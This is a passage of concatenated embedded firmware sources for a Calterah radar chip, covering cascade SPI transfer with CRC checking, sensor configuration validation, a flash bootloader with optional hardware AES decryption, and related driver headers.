.SECONDEXPANSION:
$(CALTERAH_CASCADE_ASMOBJS): $(OUT_DIR)/%.o : %.s $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(ASM_OPT) $< -o $@
CALTERAH_COMMON_CSRC += $(CALTERAH_CASCADE_CSRCS)
CALTERAH_COMMON_ASMSRCS += $(CALTERAH_CASCADE_ASMSRCS)
CALTERAH_COMMON_COBJS += $(CALTERAH_CASCADE_COBJS)
CALTERAH_COMMON_ASMOBJS += $(CALTERAH_CASCADE_ASMOBJS)
CALTERAH_COMMON_LIBS += $(CALTERAH_CASCADE_LIB)
<file_sep>#ifndef CALTERAH_TRACK_CLI_H
#define CALTERAH_TRACK_CLI_H
enum OBJECT_OUTPUT
{
UART_STRING = 0, /* output the tacking data in original string form by uart interface. */
UART_HEX, /* output the tacking data in hexadecimal form by uart interface. */
CAN, /* output the tacking data in hexadecimal form by CAN interface. */
};
/*--- DECLARAION ---------------------*/
void track_cmd_register(void);
int8_t get_track_cfg(void);
#endif
<file_sep>#include <string.h>
#include "embARC_toolchain.h"
#include "FreeRTOS.h"
#include "task.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "dw_gpio.h"
#include "gpio_hal.h"
#include "spi_hal.h"
#include "crc_hal.h"
#include "dma_hal.h"
#include "cascade_config.h"
#include "cascade.h"
#include "cascade_internal.h"
static uint8_t cs_if_master_id = 0;
int32_t cadcade_if_master_init(uint8_t id)
{
cs_if_master_id = id;
return cascade_if_master_sync_init();
}
int32_t cascade_if_master_write(cs_xfer_mng_t *xfer)
{
int32_t result = E_OK;
//uint32_t cpu_sts = 0;
cs_frame_t *frame = &xfer->cur_frame;
//EMBARC_PRINTF("package start: %d\r\n", xfer->nof_frame);
cascade_tx_first_frame_init(&xfer->cur_frame, xfer->data, xfer->xfer_size);
/* write package header. */
//cpu_sts = arc_lock_save();
frame->header_done = 1;
//arc_unlock_restore(cpu_sts);
result = spi_write(cs_if_master_id, &frame->header, 1);
if (E_OK == result) {
#ifdef CASCADE_DMA
result = cascade_crc_dmacopy(frame->payload, frame->len << 2);
if (result >= 0) {
xfer->crc_dma_chn_id = result;
}
#else
cascade_crc_request(frame->payload, frame->len);
#endif
} else {
frame->header_done = 0;
}
return result;
}
/* this function is called on the master side, by s2m_sync isr callback. */
void cascade_if_master_send_callback(cs_xfer_mng_t *xfer)
{
int32_t result = E_OK;
uint32_t split_cnt;
cs_frame_t *frame = &xfer->cur_frame;
do {
if ((NULL == xfer) || (NULL == xfer->data) || (0 == xfer->xfer_size)) {
result = E_PAR;
break;
}
/* frame header has not been sent, send it. */
if (!frame->header_done) {
//EMBARC_PRINTF("next frame header:\r\n");
result = spi_write(cs_if_master_id, &frame->header, 1);
if (E_OK != result) {
break;
}
frame->header_done = 1;
#ifdef CASCADE_DMA
result = cascade_crc_dmacopy(frame->payload, frame->len);
if (result >= 0) {
xfer->crc_dma_chn_id = result;
}
#else
cascade_crc_request(frame->payload, frame->len);
#endif
break;
}
/* each s2m_sync signal interrupt happened, send a block of payload. */
if (!frame->payload_done) {
//uint32_t *buf = frame->payload + frame->handled_size;
uint32_t *buf = FRAME_PART_BASE(frame);
split_cnt = FRAME_PART_SIZE(frame);
result = spi_write(cs_if_master_id, buf, split_cnt);
if (E_OK == result) {
cascade_frame_part_update(frame, split_cnt);
}
break;
}
/* after all payload have been sent, then send crc. if the crc32 computing
* has not finished, then change xfer manager state, and waiting task to
* update the states. */
if (!frame->crc_done) {
if (frame->crc_valid) {
result = spi_write(cs_if_master_id, &frame->crc32, 1);
if (E_OK == result) {
frame->crc_done = 1;
frame->crc_valid = 0;
} else {
break;
}
} else {
/* waiting crc32... */
xfer->state = CS_XFER_CRC;
break;
}
}
/* check whether all package have been sent, if not, initialize the
* next frame. if so, reset xfer manafer. */
if (xfer->cur_frame_id < xfer->nof_frame - 1) {
//EMBARC_PRINTF("next frame start:\r\n");
cascade_tx_next_frame_init(xfer);
} else {
//EMBARC_PRINTF("package done:\r\n");
cascade_tx_confirmation(xfer);
cascade_package_done(xfer);
}
} while (0);
}
/* start a package receiving session:
* read package header from hardware FIFO, and parse it to gain the package length.
* and then, init cascade receiver.
* note: this function is called in interrupt context.
* */
void cascade_if_master_package_init(cs_xfer_mng_t *xfer)
{
int32_t result = E_OK;
uint32_t total_size, header;
result = spi_read(cs_if_master_id, &header, 1);
if (E_OK == result) {
/* check whether the received header is valid?
* and get package length. */
if (CASCADE_HEADER_VALID(header)) {
total_size = CASCADE_PACKAGE_LEN(header);
cascade_receiver_init(total_size);
cascade_rx_first_frame_init(xfer);
} else {
/* TODO: record error! */
}
} else {
/* TODO: record error! */
}
}
/* resume a pending receiving session.
* */
void cascade_if_master_xfer_resume(cs_xfer_mng_t *xfer, uint32_t length)
{
if (xfer) {
cascade_if_master_package_init(xfer);
}
}
/* interface(master) package receiving process:
* before entering this function, cascade_if_master_package_init has been executed.
* note: this function is called in s2m_sync interrupt context.
* */
void cascade_if_master_receive_callback(cs_xfer_mng_t *xfer)
{
int32_t result = E_OK;
uint32_t header, total_size;
uint32_t split_cnt;
cs_frame_t *frame = &xfer->cur_frame;
do {
if ((NULL == xfer) || (NULL == xfer->data)) {
result = E_PAR;
break;
}
if (CS_XFER_DONE == xfer->state) {
xfer->state = CS_XFER_PENDING;
}
/* frame header has not been received.
* firstly, read frame header from hw RX FIFO, then check its validation.
* if it's not a valid header, then return from the current flow. otherwise
* parse the frame length from header. lastly, if the cascade service currently
* is in idle, or transmitting work has been finished, then enter receiving
* flow. otherwise ignore the current message. */
if (!frame->header_done) {
result = spi_read(cs_if_master_id, &header, 1);
if (result < 0) {
break;
}
if (0 == CASCADE_HEADER_VALID(header)) {
/* TODO: record error! */
result = E_SYS;
break;
}
total_size = CASCADE_PACKAGE_LEN(header);
/* @frame_done will be set. */
cascade_rx_next_frame_init(xfer, total_size);
break;
}
/* receiving payload process: each time read a block. */
if (!frame->payload_done) {
uint32_t *buf = FRAME_PART_BASE(frame);
split_cnt = FRAME_PART_SIZE(frame);
result = spi_read(cs_if_master_id, buf, split_cnt);
if (E_OK == result) {
cascade_frame_part_update(frame, split_cnt);
}
break;
}
/* start to read frame payload crc32, if the previous frame payload
* crc32 computing isn't finished, then change the xfer manager state
* to WAITING. otherwise read crc32, and start computing the current
* frame payload crc32. */
if (!frame->crc_done) {
/* crc_valid: clear in dma callback. */
if (frame->crc_valid) {
/* previous frame still valid? */
xfer->state = CS_XFER_CRC;
break;
}
result = spi_read(cs_if_master_id, &frame->crc32, 1);
if ( E_OK != result) {
break;
}
frame->crc_done = 1;
frame->crc_valid = 1;
/* start crc computing action. */
#ifdef CASCADE_DMA
result = cascade_crc_dmacopy(frame->payload, frame->len);
if (E_OK != result) {
break;
}
#else
cascade_crc_request(frame->payload, frame->len);
#endif
} else {
}
/* check whether there is a next frame needing to receive. if yes,
* then reinitialize the current frame descriptor. otherwise, the
* receiving process has been finished. */
if (xfer->cur_frame_id < xfer->nof_frame - 1) {
cascade_frame_reset(frame);
} else {
/* must wait the last frame crc comparing finished. */
if (0 == frame->crc_valid) {
cascade_rx_indication(xfer);
cascade_package_done(xfer);
EMBARC_PRINTF("rx package done before crc done.\r\n");
}
}
} while (0);
}
void cascade_if_master_rx_crc_done(cs_xfer_mng_t *xfer, uint32_t crc32)
{
int32_t result = E_OK;
cs_frame_t *frame = &xfer->cur_frame;
do {
if (0 == frame->crc_valid) {
/* panic: what happened? */
break;
}
xfer->crc_done_cnt += 1;
/* compare the crc32. */
if (crc32 != frame->crc32) {
xfer->crc_unmatch_cnt += 1;
}
frame->crc_valid = 0;
#ifdef CASCADE_DMA
result = dma_release_channel(xfer->crc_dma_chn_id);
if (E_OK != result) {
/* TODO: record error! */
break;
}
#endif
/* session has been blocked. */
if (CS_XFER_CRC == xfer->state) {
/* relieve the block. */
xfer->state = CS_XFER_BUSY;
result = spi_read(cs_if_master_id, &frame->crc32, 1);
if (result < 0) {
/* TODO: record error! */
break;
}
frame->crc_done = 1;
frame->crc_valid = 1;
#ifdef CASCADE_DMA
result = cascade_crc_dmacopy(frame->payload, frame->len);
if (E_OK != result) {
/* TODO: record error! */
break;
}
#else
cascade_crc_request(frame->payload, frame->len);
#endif
} else {
/* whether is the last frame? */
//if (xfer->cur_frame_id >= xfer->nof_frame - 1) {
if (xfer->crc_done_cnt >= xfer->nof_frame) {
cascade_rx_indication(xfer);
cascade_package_done(xfer);
EMBARC_PRINTF("rx package done.\r\n");
}
}
} while (0);
}
void cascade_if_master_tx_crc_done(cs_xfer_mng_t *xfer, uint32_t crc32)
{
int32_t result = E_OK;
cs_frame_t *frame = &xfer->cur_frame;
while (xfer) {
frame->crc32 = crc32;
#ifdef CASCADE_DMA
result = dma_release_channel(xfer->crc_dma_chn_id);
if (E_OK != result) {
/* TODO: record error! */
break;
}
#endif
if (CS_XFER_CRC == xfer->state) {
/* relieve the block. */
xfer->state = CS_XFER_BUSY;
result = spi_write(cs_if_master_id, &frame->crc32, 1);
if (E_OK == result) {
frame->crc_valid = 0;
frame->crc_done = 1;
}
if (xfer->cur_frame_id < xfer->nof_frame - 1) {
//EMBARC_PRINTF("next frame start1:\r\n");
cascade_tx_next_frame_init(xfer);
} else {
//EMBARC_PRINTF("package done1:\r\n");
cascade_tx_confirmation(xfer);
cascade_package_done(xfer);
}
/* no block, set flag, waiting to be sent in isr callback. */
} else {
frame->crc_valid = 1;
}
break;
}
}
<file_sep>#include <string.h>
#include "embARC_toolchain.h"
#include "FreeRTOS.h"
#include "task.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "dev_common.h"
#include "crc_hal.h"
#include "cascade_config.h"
#include "cascade.h"
#include "cascade_internal.h"
typedef struct cascade_crc_info {
uint32_t *data;
uint32_t length;
} cs_crc_info_t;
/* computing crc while not using dma to transfer data to CRC engineer. */
static TaskHandle_t cascade_crc_handle = NULL;
static cs_crc_info_t cs_last_frame_info;
/* note: this method is called in interrupt context. */
void cascade_crc_request(uint32_t *data, uint32_t length)
{
cs_last_frame_info.data = data;
cs_last_frame_info.length = length;
}
static void cascade_crc_rx_frame_update(cs_xfer_mng_t *xfer)
{
int32_t result = E_OK;
uint32_t crc32 = 0;
if ((NULL != xfer) && (xfer->cur_frame.crc_valid)) {
result = crc32_update(0, cs_last_frame_info.data,
cs_last_frame_info.length);
if (E_OK == result) {
crc32 = crc_output();
cascade_rx_crc_handle(xfer, crc32);
}
}
}
static void cascade_crc_tx_frame_update(cs_xfer_mng_t *xfer)
{
int32_t result = E_OK;
uint32_t crc32 = 0;
if ((NULL != xfer) && (0 == xfer->cur_frame.crc_valid)) {
result = crc32_update(0, cs_last_frame_info.data,
cs_last_frame_info.length);
if (E_OK == result) {
crc32 = crc_output();
cascade_tx_crc_handle(xfer, crc32);
}
}
}
void cascade_crc_task(void *params)
{
int32_t result = E_OK;
cs_xfer_mng_t *xfer = NULL;
while (1) {
xfer = NULL;
result = cascade_in_xfer_session(&xfer);
switch (result) {
case CS_RX:
cascade_crc_rx_frame_update(xfer);
break;
case CS_TX:
cascade_crc_tx_frame_update(xfer);
break;
default:
break;
}
taskYIELD();
}
}
void cascade_crc_init(void)
{
if (pdPASS != xTaskCreate(cascade_crc_task, "cs_crc_task",
128, (void *)0, configMAX_PRIORITIES - 1,
&cascade_crc_handle)) {
EMBARC_PRINTF("create cs_xfer_handle error\r\n");
}
}
<file_sep>#include "sensor_config.h"
#include "embARC_assert.h"
#include "baseband.h"
#include <string.h>
#include "sensor_config_cli.h"
#include "flash.h"
#include "calterah_math.h"
#define MIN(a, b) (((a) < (b)) ? (a) : (b))
static uint8_t buff[ANTENNA_INFO_LEN];
static uint8_t current_cfg_idx = 0;
#ifndef CHIP_CASCADE
static sensor_config_t config[MAX_FRAME_TYPE] =
{
#if NUM_VARRAY == 1
{
#include "sensor_config_init0.hxx"
.bb = NULL,
},
{
#include "sensor_config_init1.hxx"
.bb = NULL,
},
{
#include "sensor_config_init2.hxx"
.bb = NULL,
},
{
#include "sensor_config_init3.hxx"
.bb = NULL,
},
#elif NUM_VARRAY == 2
{
#include "sensor_config_init_varray2.hxx"
.bb = NULL,
},
{
#include "sensor_config_init_varray2_1.hxx"
.bb = NULL,
},
#elif NUM_VARRAY == 3
{
#include "sensor_config_init_varray3.hxx"
.bb = NULL,
},
#else
{
#include "sensor_config_init_varray4.hxx"
.bb = NULL,
},
#endif
};
#else
static sensor_config_t config[MAX_FRAME_TYPE] =
{
{
#include "sensor_config_init0_cas.hxx"
.bb = NULL,
},
{
#include "sensor_config_init1_cas.hxx"
.bb = NULL,
},
};
#endif // CHIP_CASCADE
uint8_t *sensor_config_get_buff()
{
return buff;
}
void sensor_config_clear_buff()
{
for(uint32_t i = 0; i < ANTENNA_INFO_LEN; i++){
buff[i] = 0;
}
}
static void sensor_config_preattach(sensor_config_t *cfg)
{
int32_t status;
uint32_t *head;
if (cfg->ant_info_from_flash) {
status = flash_memory_read(cfg->ant_info_flash_addr, buff, ANTENNA_INFO_LEN);
if (status != E_OK) {
EMBARC_PRINTF("/*** Fail to read on-flash antenna position. Fallback to default setting! ***/\n\r");
return;
}
head = (uint32_t *)buff;
if (*head != ANTENNA_INFO_MAGICNUM) {
EMBARC_PRINTF("/*** Invalid on-flash antenna position. Fallback to default setting! ***/\r\n");
return;
}
antenna_pos_t *pos = (antenna_pos_t *)(buff + 4);
for(int a = 0; a < MAX_ANT_ARRAY_SIZE; a++) {
uint32_t *tmp = (uint32_t *)&pos[a];
if (*tmp == 0xFFFFFFFF) /* prevent get invalid data */
break;
cfg->ant_pos[a] = pos[a];
}
status = flash_memory_read(cfg->ant_info_flash_addr + ANTENNA_INFO_LEN, buff, ANTENNA_INFO_LEN);
if (status != E_OK) {
EMBARC_PRINTF("/*** Fail to read on-flash antenna compensation. Fallback to default setting! ***/\n\r");
}
head = (uint32_t *)buff;
if (*head != ANTENNA_INFO_MAGICNUM) {
EMBARC_PRINTF("/*** Invalid on-flash antenna compensation. Fallback to default setting! ***/\r\n");
return;
}
float *comp = (float *)(buff + 4);
for(int a = 0; a < MAX_ANT_ARRAY_SIZE; a++) {
uint32_t *tmp = (uint32_t *)&comp[a];
if (*tmp == 0xFFFFFFFF) /* prevent get invalid data */
break;
cfg->ant_comps[a] = comp[a];
}
}
}
int32_t sensor_config_attach(sensor_config_t *cfg, void *bb, uint8_t frame_type)
{
int32_t status = E_OK;
cfg->bb = bb;
sensor_config_check(cfg);
sensor_config_preattach(cfg);
((baseband_t *)bb)->cfg = (void *)cfg;
((baseband_t *)bb)->bb_hw.frame_type_id = frame_type;
status = baseband_init((baseband_t*)bb);
if (status != E_OK)
EMBARC_PRINTF("/*** sensor_config_attach fails with error code %d ***/", status);
return status;
}
void sensor_config_check(sensor_config_t *cfg)
{
/*EMBARC_ASSERT(cfg->fmcw_startfreq >= 74 && cfg->fmcw_startfreq <= 81);
float stop_freq = cfg->fmcw_startfreq + cfg->fmcw_bandwidth * 1e-3;
EMBARC_ASSERT(stop_freq >= 74 && stop_freq <= 81);
*/
sensor_config_tx_group_check(cfg);
EMBARC_ASSERT(cfg->fmcw_chirp_rampup > 0);
EMBARC_ASSERT(cfg->fmcw_chirp_down > 0);
EMBARC_ASSERT(cfg->fmcw_chirp_period >= cfg->fmcw_chirp_rampup + cfg->fmcw_chirp_down);
EMBARC_ASSERT(cfg->adc_sample_start > 0 && cfg->adc_sample_end > cfg->adc_sample_start);
EMBARC_ASSERT(cfg->adc_sample_end > 0);
EMBARC_ASSERT(cfg->nchirp <= 4096);
#ifdef CHIP_ALPS_MP
EMBARC_ASSERT((cfg->doa_npoint[0] <= 360 && cfg->doa_method == 0) || (cfg->doa_method == 2 && cfg->doa_npoint[0] <= 760));
EMBARC_ASSERT(cfg->doa_samp_space == 'u' || cfg->doa_samp_space == 't');
EMBARC_ASSERT((cfg->doa_max_obj_per_bin[0] <= 4 && cfg->doa_mode != 2) || (cfg->doa_max_obj_per_bin[0] != 12 && cfg->doa_mode == 2));
#endif
EMBARC_ASSERT(cfg->bfm_az_left >= -90);
EMBARC_ASSERT(cfg->bfm_az_right <= 90);
EMBARC_ASSERT(cfg->bfm_az_right >= cfg->bfm_az_left);
EMBARC_ASSERT(cfg->dec_factor <= 16 && cfg->dec_factor > 0);
EMBARC_ASSERT(cfg->nvarray > 0);
EMBARC_ASSERT(cfg->fmcw_bandwidth > 0 && cfg->fmcw_bandwidth <= 5000);
EMBARC_ASSERT(cfg->vel_nfft <= 1024);
EMBARC_ASSERT(cfg->rng_nfft <= 2048);
EMBARC_ASSERT(cfg->vel_nfft * cfg->rng_nfft * cfg->nvarray <= 512 * 512);
EMBARC_ASSERT(cfg->adc_freq == 20 || cfg->adc_freq == 25 || cfg->adc_freq == 40 || cfg->adc_freq == 50 );
if (cfg->anti_velamb_en) {
EMBARC_ASSERT(cfg->nvarray != 4);
EMBARC_ASSERT(cfg->bpm_mode != true);
EMBARC_ASSERT(cfg->vel_nfft * cfg->rng_nfft * (cfg->nvarray + 1) <= 512 * 512);
float Tr = cfg->fmcw_chirp_period;
float delay = cfg->anti_velamb_delay;
uint32_t nvarray = cfg->nvarray;
int32_t q_min = cfg->anti_velamb_qmin;
uint32_t Td = (uint32_t)round((nvarray + 1) * Tr + delay);
uint32_t q_num = MIN(32, Td / compute_gcd((uint32_t)round(Tr + delay), Td));
int32_t q_max = q_min + q_num - 1;
EMBARC_ASSERT(q_min >= -16 && q_min <= 15 && q_max >= -16 && q_max <=15);
}
/* ::TODO XL check limitation in MP */
/*
for (int ch = 0; ch < MAX_NUM_TX; ch++)
{
EMBARC_ASSERT(cfg->tx_phase_value[ch] == 0 || cfg->tx_phase_value[ch] == 22 || cfg->tx_phase_value[ch] == 45 || cfg->tx_phase_value[ch] == 67 ||
cfg->tx_phase_value[ch] == 90 || cfg->tx_phase_value[ch] == 112 || cfg->tx_phase_value[ch] == 135 || cfg->tx_phase_value[ch] == 157 ||
cfg->tx_phase_value[ch] == 180 || cfg->tx_phase_value[ch] == 202 || cfg->tx_phase_value[ch] == 225 || cfg->tx_phase_value[ch] == 247 ||
cfg->tx_phase_value[ch] == 270 || cfg->tx_phase_value[ch] == 292 || cfg->tx_phase_value[ch] == 315 || cfg->tx_phase_value[ch] == 337 );
}
*/
/* FIXME add more checks */
}
sensor_config_t *sensor_config_get_config(uint32_t idx)
{
if (idx >= NUM_FRAME_TYPE)
return NULL;
else
return &config[idx];
}
sensor_config_t *sensor_config_get_cur_cfg()
{
return sensor_config_get_config(current_cfg_idx);
}
uint8_t sensor_config_get_cur_cfg_idx()
{
return current_cfg_idx;
}
void sensor_config_set_cur_cfg_idx(uint32_t idx)
{
if (idx < NUM_FRAME_TYPE)
current_cfg_idx = idx;
}
void sensor_config_tx_group_check(sensor_config_t *cfg) {
int32_t tx_grp[MAX_NUM_TX] = {0, 0, 0, 0}; /*recording the last chip index to transmit signal for power on Tx*/
int32_t max_idx[MAX_NUM_TX] = {-1, -1, -1, -1}; /*recording the last chip index to transmit signal for all Tx*/
int num = 0; /*recording the number of power on Tx*/
int32_t chip_idx = -1; /*recording the last chip index to transmit signal, related to n_va*/
uint32_t chirp_tx_mux[MAX_NUM_TX] = {0, 0, 0, 0}; /*chirp_tx_mux[0]:which tx transmit in chirp 0*/
int8_t bpm_checker = -1;
for (int i=0; i<MAX_NUM_TX; i++) {
uint16_t bit_mux[MAX_NUM_TX] = {0,0,0,0};
EMBARC_ASSERT(bit_parse(cfg->tx_groups[i], bit_mux));
for (int c = 0; c < MAX_NUM_TX; c++) {
if (bit_mux[c] != 0)
max_idx[i] = c;
}
if ( max_idx[i] >= 0) {
tx_grp[num] = max_idx[i];
num = num + 1;
}
}
for (int i=0; i<num; i++) {
if (tx_grp[i] > chip_idx)
chip_idx = tx_grp[i];
}
/* computing nvarray */
if (chip_idx >= 1) {
if (cfg->bpm_mode == false) {
EMBARC_ASSERT(get_tdm_tx_antenna_in_chirp(cfg->tx_groups, chip_idx, chirp_tx_mux));
} else {
EMBARC_ASSERT((chip_idx == 1)||(chip_idx == 3));
bpm_checker = get_bpm_tx_antenna_in_chirp(cfg->tx_groups, chip_idx, chirp_tx_mux);
EMBARC_ASSERT(bpm_checker != -1 );
}
cfg->nvarray = chip_idx + 1;
} else if(chip_idx < 0) {
EMBARC_PRINTF("Notice TX are all off\n");
cfg->nvarray = 1;
} else {
EMBARC_ASSERT(get_tdm_tx_antenna_in_chirp(cfg->tx_groups, chip_idx, chirp_tx_mux));
cfg->nvarray = 1;
}
}
<file_sep>#include "embARC.h"
#include "system.h"
#include "dw_ssi_reg.h"
#include "dw_ssi.h"
#include "flash.h"
#include "flash_header.h"
#include "flash_mmap.h"
#include "instruction.h"
#include "vendor.h"
#include "crc_hal.h"
#include "xip_hal.h"
#include "config.h"
#define BOOT_CRC_ENABLE (1)
#ifndef BOOT_SPLIT
#include "xip_early.c"
#endif
static void aes_init(void);
static int aes_decrypt(uint32_t *data_in, uint32_t *data_out, uint32_t len);
int32_t normal_boot(void)
{
int32_t result = 0;
image_header_t image_header;
image_header_t *image_header_ptr = (image_header_t *)&image_header;
uint32_t crc32_size = 0;
#if BOOT_CRC_ENABLE
uint8_t *image_ptr = NULL;
uint32_t *crc32_ptr = NULL;
uint32_t crc32 = 0;
uint32_t single_crc_size = 0;
#endif
uint32_t payload_size = 0;
next_image_entry firmware_entry;
do {
result = crc_init(0, 1);
if (E_OK != result) {
break;
}
/* read image header. */
result = flash_memory_read(FLASH_FIRMWARE_BASE, (uint8_t *)image_header_ptr, sizeof(image_header_t));
if (0 != result) {
break;
}
/* Check whether AES is enabled */
if (raw_readl(0xb00004) & 1) {
/* aes init process */
aes_init();
/* Start AES decrypt process to decrypt firmware image header */
aes_decrypt((uint32_t *)image_header_ptr, (uint32_t *)image_header_ptr, sizeof(image_header_t));
}
if (image_header_ptr->xip_en) {
/* Boot firmware image under XIP mode */
/* send command to configure external nor flash to Quad mode. */
result = flash_quad_entry();
if (0 != result) {
break;
}
/* firmware memory mapping address */
image_ptr = (uint8_t *)(FLASH_MMAP_FIRMWARE_BASE + image_header_ptr->payload_addr);
/* configure XIP controller: */
flash_xip_init_early();
} else {
/* Boot firmware image under "copy to ram" mode */
/* calculate the amount of crc */
crc32_size = image_header_ptr->payload_size / image_header_ptr->crc_part_size;
if (image_header_ptr->payload_size % image_header_ptr->crc_part_size) {
crc32_size += 1;
}
crc32_size <<= 2;
/* Check whether AES is enabled */
if (raw_readl(0xb00004) & 1) {
/* AES is enabled */
uint32_t read_count = image_header_ptr->payload_size + crc32_size;
/* align read_count to 4 byte */
if (image_header_ptr->payload_size % 0x4) {
read_count += 4 - (image_header_ptr->payload_size % 0x4);
}
/* align read_count to 64 byte. */
if (read_count % 64) {
read_count += 64 - (read_count % 64);
}
/* Read firmware image from external flash and load the image data to RAM space at "ram_base" address */
result = flash_memory_read(image_header_ptr->payload_addr, (uint8_t *)image_header_ptr->ram_base, read_count);
if (0 != result) {
break;
}
/* aes init process */
aes_init();
/* Start AES decrypt process to decrypt firmware image */
aes_decrypt((uint32_t *)image_header_ptr->ram_base, (uint32_t *)image_header_ptr->ram_base, read_count);
} else {
/* AES is disabled */
/* Only need to Read firmware image from external flash and load image data to RAM space at "ram_base" address */
result = flash_memory_read(image_header_ptr->payload_addr, (uint8_t *)image_header_ptr->ram_base, (image_header_ptr->payload_size + crc32_size));
if (0 != result) {
break;
}
}
/* firmware memory address */
image_ptr = (uint8_t *)image_header_ptr->ram_base;
}
firmware_entry = (next_image_entry)(image_ptr + image_header_ptr->exec_offset);
#if BOOT_CRC_ENABLE
crc32_ptr = (uint32_t *)(image_ptr + image_header_ptr->payload_size);
payload_size = image_header_ptr->payload_size;
single_crc_size = image_header_ptr->crc_part_size;
while (payload_size) {
if (payload_size < single_crc_size) {
single_crc_size = payload_size;
}
crc32 = update_crc(0, image_ptr, single_crc_size);
//crc32_update(0, image_ptr, single_crc_size);
//crc32 = crc_output();
if (crc32 != *crc32_ptr) {
result = -1;
break;
}
crc32_ptr++;
image_ptr += single_crc_size;
payload_size -= single_crc_size;
}
#endif
if (0 == payload_size) {
_arc_aux_write(0x4B, 1);
while (_arc_aux_read(0x48) & 0x100);
icache_invalidate();
/* jump to the next image. */
firmware_entry();
}
} while (0);
return result;
}
static void aes_init(void)
{
/* Enable XIP clock */
/* AES function is part of XIP module, so before use AES function, need to enable XIP clock */
xip_enable(1);
chip_hw_udelay(100);
/* Set AES Mode Register - AMR */
raw_writel(0xd00124, 0x2);
/* Set AES Cipher/Decipher Mode Register - decipher mode */
raw_writel(0xd00128, 1);
/* Set AES Valid Block Register - AVBR */
raw_writel(0xd00140, 4);
/* Set AES Last Block Size Register - ALBSR */
raw_writel(0xd00144, 0x80);
}
#define REG_FLASH_AES_DIN_OFFSET(x, y) (((0x12 + ((x) << 2) + (y)) << 2))
#define REG_FLASH_AES_DOUT_OFFSET(x, y) (((0x26 + ((x) << 2) + (y)) << 2))
static int aes_decrypt(uint32_t *data_in, uint32_t *data_out, uint32_t len)
{
int ret = 0;
unsigned int i, j;
if (len % 64) {
ret = -1;
} else {
while (len) {
for (i = 0; i < 4; i++) {
for (j = 0; j < 4; j++) {
raw_writel(REG_FLASH_AES_DIN_OFFSET(i, j) + 0xd00100, *data_in++);
}
}
raw_writel(0xd00188, 1);
raw_writel(0xd0018c, 1);
//raw_writel(REG_FLASH_AES_DIN_VAL_OFFSET +XIP_ADDR, 1);
while (0 == (raw_readl(0xd00194) & 0x1));
for (i = 0; i < 4; i++) {
for (j = 0; j < 4; j++) {
*data_out++ = raw_readl(REG_FLASH_AES_DOUT_OFFSET(i, j) + 0xd00100);
}
}
len -= 64;
}
}
return ret;
}
<file_sep>#include "embARC_toolchain.h"
#include "dw_dmac.h"
#include "dw_dma_obj.h"
#include "alps/alps.h"
static dw_dmac_t dev_dma = {
.base = REL_REGBASE_HDMA,
.nof_chn = 8,
.chn_int = {
INT_DMA_M0_IRQ0,
INT_DMA_M0_IRQ1,
INT_DMA_M0_IRQ2,
INT_DMA_M0_IRQ3,
INT_DMA_M0_IRQ4
},
};
void *dma_get_dev(int32_t reserved)
{
static uint32_t dma_install_flag = 0;
if (0 == dma_install_flag) {
dw_dmac_install_ops(&dev_dma);
dma_install_flag = 1;
}
return (void *)&dev_dma;
}
<file_sep>#include "embARC.h"
#include "alps_emu_reg.h"
#include "func_safety.h"
void func_safety_init(func_safety_t *fsm)
{
raw_writel(REG_EMU_BOOT_DONE, 1); // BB_LBIST dependent on EMU_BOOT_DONE
}
void func_safety_start(func_safety_t *fsm)
{
}
void func_safety_stop(func_safety_t *fsm)
{
}
<file_sep>#ifndef BASEBAND_CAS_H
#define BASEBAND_CAS_H
#include "cascade.h"
#include "baseband.h"
#define SHIFT_L16(data) (data << 16)
// cascade
#define CMD_HDR 0xFCFCFCFC /* command header code for spi tx/rx */
#define CMD_RX_WAIT 1
#define CMD_SCAN_STOP 0xAA01
#define WAIT_TICK_NUM 30 /* ms*/
#define MAX_TX_OBJ_NUM 256 // tx buf size for one transmit
#define BUF_SHIFT_INFO 0
#define BUF_SIZE_INFO 1
#define BUF_SIZE_CAFR 2 /* rng 16bits + vel 16bits + amb_idx + noi = 2 words */
#define BUF_SIZE_FFT 16 /* maximal 16 channels, 16 words */
#define BUF_SIZE_DUMMY 15 /* FIXME, may be useless */
#define BUF_SIZE_ONE_OBJ (BUF_SIZE_CAFR + BUF_SIZE_FFT)
#define BUF_SIZE_CASCADE (MAX_TX_OBJ_NUM * BUF_SIZE_ONE_OBJ + BUF_SIZE_INFO + BUF_SIZE_DUMMY)
#define CMD_SIZE_CASCADE (16) /* 16 words */
#ifdef CHIP_CASCADE
void baseband_scan_stop_tx(uint16_t cascade_cmd, uint16_t param);
void baseband_scan_stop_rx(TickType_t xTicksToWait);
void baseband_write_cascade_ctrl(void);
void baseband_merge_cascade(baseband_t *bb);
void baseband_write_cascade_cmd(const char *pcCommandString);
void baseband_read_cascade_cmd(TickType_t xTicksToWait);
uint32_t cascade_spi_cmd_wait(void);
#endif // CHIP_CASCADE
#endif
<file_sep>#ifndef _DW_SSI_H_
#define _DW_SSI_H_
#define SSI_INT_MULTI_MASTER_CONTENTION (1 << 5)
#define SSI_INT_RX_FIFO_FULL (1 << 4)
#define SSI_INT_RX_FIFO_OVERFLOW (1 << 3)
#define SSI_INT_RX_FIFO_UNDERFLOW (1 << 2)
#define SSI_INT_TX_FIFO_OVERFLOW (1 << 1)
#define SSI_INT_TX_FIFO_EMPTY (1 << 0)
typedef struct dw_ssi_control {
uint32_t slv_sel_toggle_en;
uint32_t frame_format;
uint32_t data_frame_size;
uint32_t ctrl_frame_size;
uint32_t slv_output_en;
uint32_t transfer_mode;
uint32_t serial_clk_pol;
uint32_t serial_clk_phase;
uint32_t serial_protocol;
} dw_ssi_ctrl_t;
#define DW_SSI_CTRL_DEFAULT(ctrl) do { \
(ctrl)->slv_sel_toggle_en = 0; \
(ctrl)->frame_format = STANDARD_SPI_FRAME_FORMAT; \
(ctrl)->data_frame_size = 32; \
(ctrl)->ctrl_frame_size = 0; \
(ctrl)->slv_output_en = 0; \
(ctrl)->transfer_mode = DW_SSI_TR_MODE; \
(ctrl)->serial_clk_pol = 0; \
(ctrl)->serial_clk_phase = 0; \
(ctrl)->serial_protocol = MOTOROLA_SPI;\
} while(0)
#define DW_SSI_CTRL_STATIC_DEFAULT { \
.slv_sel_toggle_en = 0, \
.frame_format = STANDARD_SPI_FRAME_FORMAT, \
.data_frame_size = 32, \
.ctrl_frame_size = 0, \
.slv_output_en = 0, \
.transfer_mode = DW_SSI_TR_MODE, \
.serial_clk_pol = 0, \
.serial_clk_phase = 0, \
